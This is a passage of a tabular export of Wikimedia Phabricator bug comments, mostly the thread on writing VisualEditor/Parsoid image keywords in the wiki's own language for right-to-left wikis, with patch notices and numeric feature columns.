* A horizontal scroll bar does appear when hovering over some elements with a mouseover effect, specifically images and uneditables (Strangely, the scroll bar does not appear when hovering over the {{Details}} template in this example). Scrolling can then occur if you have a clickable mousewheel.

* By placing the text cursor near the visible end of wide text, and pressing the right arrow key, it is possible to sneak the text cursor off of the page.""

Test cases: URL"
248192,VisualEditor: editing window does not horizontally scroll for wide tables or other elements,"Comment on attachment 12931
first table at [[Comparison of container formats]] rendered in a 1024px wide window. Firefox 22 on Linux

Fix MIME type",,,1374682835,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-d3oejnwggmk2whlojm2x,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,16.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.064516129032258,0.9032258064516129,"Comment on attachment 12931
first table at [[Comparison of container formats]] rendered in a 1024px wide window. Firefox 22 on Linux

Fix MIME type"
53852,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"When VisualEditor inserts an image, the thumbnail keywords are written in English: ""File:"", ""thumb"", ""right"" (but see Bug 51851).

This should not, theoretically, be a problem, because the VisualEditor is supposed to make these keywords unimportant and hidden from the end-user. However, while the source editor is still being widely used, this is a problem, especially for right to left languages: it is very hard to edit these English keywords when they are mixed with right-to-left text.

These keywords should be inserted in the language of the wiki.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374569160,1459884179.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-ah63325mhbgtfpeazbnl,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.5,3.0,0.5,4.5,2.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,7.5,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,5.0,5.5,7.0,2.0,1.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.5,7.5,1.5,0.0,3.0,0.0,1.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.920289855072464,0.7101449275362319,"When VisualEditor inserts an image, the thumbnail keywords are written in English: ""File:"", ""thumb"", ""right"" (but see Bug 51851).

This should not, theoretically, be a problem, because the VisualEditor is supposed to make these keywords unimportant and hidden from the end-user. However, while the source editor is still being widely used, this is a problem, especially for right to left languages: it is very hard to edit these English keywords when they are mixed with right-to-left text.

These keywords should be inserted in the language of the wiki.

--------------------------
**Version**: unspecified
**Severity**: normal"
640899,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 280792 merged by jenkins-bot:
T53852: Serialize localized image options

[[https://gerrit.wikimedia.org/r/280792]]",,,1459883811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.095238095238095,0.8571428571428571,"Change 280792 merged by jenkins-bot:
T53852: Serialize localized image options

[[GERRIT_URL]]"
640459,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 244254 abandoned by Eranroz:
Use local keyword for image

Reason:
See a better patch: https://gerrit.wikimedia.org/r/#/c/244254/

[[https://gerrit.wikimedia.org/r/244254]]",,,1459809027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,144,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,3.5714285714285716,0.7857142857142857,"Change 244254 abandoned by Eranroz:
Use local keyword for image

Reason:
See a better patch: URL

[[GERRIT_URL]]"
638233,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 280792 had a related patch set uploaded (by Arlolra):
T53852: Serialize localized image options for rtl languages

[[https://gerrit.wikimedia.org/r/280792]]
",,,1459469170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.172413793103448,0.896551724137931,"Change 280792 had a related patch set uploaded (by Arlolra):
T53852: Serialize localized image options for rtl languages

[[GERRIT_URL]]
"
548511,Image options should be serialized in the wiki's language in rtl locales - localization i18n,">>! In T53852#1735891, @Amire80 wrote:
> General Q: Can the same patch also resolve T104057, a similar issue in ContentTranslation?
> 
>>>! In T53852#1735780, @cscott wrote:
>> * Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.
> 
> Sounds more practical and closer to reality.
> 
> Parsoid developers, don't you have some kind of a tool that queries lots of dumps quickly? I remember hearing something like this, but maybe I am just imagining.

This used to be part of the parsoid repository but is now its own repo @ https://github.com/wikimedia/dumpgrepper",,,1445283298,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,31.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,23.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.5714285714285714,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This used to be part of the parsoid repository but is now its own repo @ URL"
548475,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"General Q: Can the same patch also resolve T104057, a similar issue in ContentTranslation?

>>! In T53852#1735780, @cscott wrote:
> * Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.

Sounds more practical and closer to reality.

Parsoid developers, don't you have some kind of a tool that queries lots of dumps quickly? I remember hearing something like this, but maybe I am just imagining.

>>! In T53852#1735858, @ssastry wrote:
> A good compromise to get this moving would be to do this analysis for the top N wikis (N = 10?)

I'd guess that it's more like 50 or so.",,,1445280165,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,120,,1.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,9.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,14.0,1.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,17.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,6.0,9.0,6.0,2.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,2.0,4.0,0.0,0.0,3.8518518518518516,0.7530864197530864,"General Q: Can the same patch also resolve T104057, a similar issue in ContentTranslation?

QUOTE
QUOTE

Sounds more practical and closer to reality.

Parsoid developers, don't you have some kind of a tool that queries lots of dumps quickly? I remember hearing something like this, but maybe I am just imagining.

QUOTE
QUOTE

I'd guess that it's more like 50 or so."
548467,Image options should be serialized in the wiki's language in rtl locales - localization i18n,A good compromise to get this moving would be to do this analysis for the top N wikis (N = 10?) -- the expectation is that only a few wikis will need either their messages tweaked or special case exceptions added for them in the code and we can get this going from there.,,,1445279437,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,2.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,5.0,2.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,5.0,12.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,3.7586206896551726,0.8448275862068966,A good compromise to get this moving would be to do this analysis for the top N wikis (N = 10?) -- the expectation is that only a few wikis will need either their messages tweaked or special case exceptions added for them in the code and we can get this going from there.
548458,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"@eranroz's code in wikieditor: https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FWikiEditor/8fa9506e20ce5216240531686fa0bd70fdb2a6d8/WikiEditor.hooks.php#L374

I'm proposing a simple process:
* Make a table with the various options whose serialization will be changed with this patch, both before and after.
* Send this in an email to the language team for approval.
** Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.
* For any languages where this patch does *not* match that wiki's preferred term, file an issue as a blocker for this bug, and resolve it.
** Either add special cases to this patch, or else export some general siteinfo property (a boolean to ""prefer first alias"" or ""prefer last alias""), or else work with the community to swap the aliases in mediawiki (MessageEn in core, and then perhaps the actual wikipedias need to be checked for customizations that might override this)
* After this is done, everyone will have objectively agreed that the terms used by this patch are preferable, and this patch can be merged.",,,1445278545,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,1.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.0,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,4.0,10.333333333333334,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,14.333333333333334,1.0,4.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,5.666666666666667,2.3333333333333335,3.6666666666666665,1.0,3.6666666666666665,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,10.333333333333334,1.3333333333333333,0.0,1.6666666666666667,0.0,1.0,0.0,1.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,3.9122807017543857,0.7324561403508772,"SCREEN_NAME's code in wikieditor: URL

I'm proposing a simple process:
* Make a table with the various options whose serialization will be changed with this patch, both before and after.
* Send this in an email to the language team for approval.
** Alternatively, you could do a grep over the most recent dump for that wiki to count frequency of use for each alias, and verify that the term which would be used by this patch matches the most frequent alias.
* For any languages where this patch does *not* match that wiki's preferred term, file an issue as a blocker for this bug, and resolve it.
** Either add special cases to this patch, or else export some general siteinfo property (a boolean to ""prefer first alias"" or ""prefer last alias""), or else work with the community to swap the aliases in mediawiki (MessageEn in core, and then perhaps the actual wikipedias need to be checked for customizations that might override this)
* After this is done, everyone will have objectively agreed that the terms used by this patch are preferable, and this patch can be merged."
548441,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"It's not just english, it's also dewiki IIRC.

To unblock this issue, you need to survey all the wikis (not just enwiki and hewiki) and describe how this change will affect them, then get confirmation from the language team that the change is actually ""better"" for all these languages.

We were burned before by changing this prematurely; before we're going to make another change we need to be sure we are actually doing the right thing.",,,1445277440,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,120,,2.0,0.0,0.0,1.0,2.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,13.0,10.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,10.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,9.0,10.0,1.0,0.0,2.0,0.0,9.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,3.967391304347826,0.7282608695652174,"It's not just english, it's also dewiki IIRC.

To unblock this issue, you need to survey all the wikis (not just enwiki and hewiki) and describe how this change will affect them, then get confirmation from the language team that the change is actually ""better"" for all these languages.

We were burned before by changing this prematurely; before we're going to make another change we need to be sure we are actually doing the right thing."
543011,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"A note specific for English: This fix will introduce ""thumbnail"" instead of ""thumb""  in parsoid. This side effect is the correct behavior as aliases are defined by the preferred order, and this is the syntax added by the current WikiEditor image dialog. If you prefer ""thumb"" and not ""thumbnail"" (personally I do too) which is shorter - you should swap the aliases in English (MessageEn in core, and enwiki.json in baseconfig) - but this should be a different task.",,,1444251608,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,118,,0.0,0.0,0.0,1.0,1.0,6.0,4.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,1.0,2.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,18.0,2.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,6.0,0.0,8.0,0.0,3.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,3.9489795918367347,0.6632653061224489,"A note specific for English: This fix will introduce ""thumbnail"" instead of ""thumb""  in parsoid. This side effect is the correct behavior as aliases are defined by the preferred order, and this is the syntax added by the current WikiEditor image dialog. If you prefer ""thumb"" and not ""thumbnail"" (personally I do too) which is shorter - you should swap the aliases in English (MessageEn in core, and enwiki.json in baseconfig) - but this should be a different task."
542948,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 244254 had a related patch set uploaded (by Eranroz):
Use local keyword for image

[[https://gerrit.wikimedia.org/r/244254]]
",,,1444247108,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,118,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.68,0.88,"Change 244254 had a related patch set uploaded (by Eranroz):
Use local keyword for image

[[GERRIT_URL]]
"
247505,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"(In reply to C. Scott Ananian from comment #8)
> Yes, that is correct.  The patch was merged and then the language-specific
> parts were reverted because the way it selected the aliases was fragile in
> LTR languages.  This is still on my to-do list for a proper fix; IIRC the
> blocking issue is we need to export a simple RTL/LTR flag in siteinfo.

Would it be easier if we just had Parsoid default to the (first?) localised string over the generic wikitext? This presumably doesn't need any MW API changes…",,,1401220172,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,47,,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,25.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,11.0,17.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.69811320754717,0.8113207547169812,"(In reply to C. Scott Ananian from comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

Would it be easier if we just had Parsoid default to the (first?) localised string over the generic wikitext? This presumably doesn't need any MW API changes…"
247499,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Yes, that is correct.  The patch was merged and then the language-specific parts were reverted because the way it selected the aliases was fragile in LTR languages.  This is still on my to-do list for a proper fix; IIRC the blocking issue is we need to export a simple RTL/LTR flag in siteinfo.",,,1401220107,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,3.0,0.0,8.0,5.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,11.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,5.0,11.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.6666666666666665,0.7878787878787878,"Yes, that is correct.  The patch was merged and then the language-specific parts were reverted because the way it selected the aliases was fragile in LTR languages.  This is still on my to-do list for a proper fix; IIRC the blocking issue is we need to export a simple RTL/LTR flag in siteinfo."
247493,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"The above was merged in January, but this bug isn't fixed AFAICT. Also, we should probably use the local wikitext over the English version in all languages, not just RTL ones.",,,1401215876,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,47,,3.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,8.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,16.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.918918918918919,0.8648648648648649,"The above was merged in January, but this bug isn't fixed AFAICT. Also, we should probably use the local wikitext over the English version in all languages, not just RTL ones."
247484,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"Change 103082 had a related patch set uploaded by Cscott:
Edited image attributes should override data-parsoid value.

https://gerrit.wikimedia.org/r/103082",,,1387811331,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"Change 103082 had a related patch set uploaded by Cscott:
Edited image attributes should override data-parsoid value.

GERRIT_URL"
247477,Image options should be serialized in the wiki's language in rtl locales - localization i18n,I'm pretty sure our magic words support already has the appropriate localized keyword alias. We just aren't using it (yet).,,,1378921869,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.9615384615384616,I'm pretty sure our magic words support already has the appropriate localized keyword alias. We just aren't using it (yet).
247469,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"I went over the RTL languages and samples practical Wikipedia articles, and it seems that the first alias is always is always the most frequently used.

Is there anything I can do to help move this forward? It's one of the most requested features.",,,1377641269,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,False,,,8,,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,8.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,12.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,8.0,8.0,4.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.1,0.82,"I went over the RTL languages and samples practical Wikipedia articles, and it seems that the first alias is always is always the most frequently used.

Is there anything I can do to help move this forward? It's one of the most requested features."
247464,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"For the site info, look for ""rtl"" in http://he.wikipedia.org/w/api.php?action=query&meta=siteinfo&siprop=general&format=json",,,1376690239,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ah63325mhbgtfpeazbnl,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.9166666666666666,"For the site info, look for ""rtl"" in URL"
247458,Image options should be serialized in the wiki's language in rtl locales - localization i18n,"We don't actually need to hard-code the list of rtl wikis, as that information is available in the site info returned by the API. It would still be good to check for each current rtl wiki if the first option alias is always a good 